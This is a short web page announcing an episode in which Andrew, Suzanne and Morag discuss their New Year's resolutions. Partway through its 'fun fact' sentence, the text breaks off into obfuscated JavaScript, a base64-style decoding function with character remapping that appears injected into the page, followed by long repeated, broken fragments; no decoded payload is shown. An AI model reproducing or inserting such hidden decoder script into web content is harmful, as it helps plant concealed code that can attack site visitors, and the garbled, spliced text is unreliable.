For many people, New Year’s Day is a time for self-improvement, new beginnings, and resolutions. Come join Andrew, Suzanne, and Morag for this special episode, and learn all about their New Year’s resolutions!

Fun fact

The tradition of making New Year’s resolutions started around 4,000 yearfunction h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6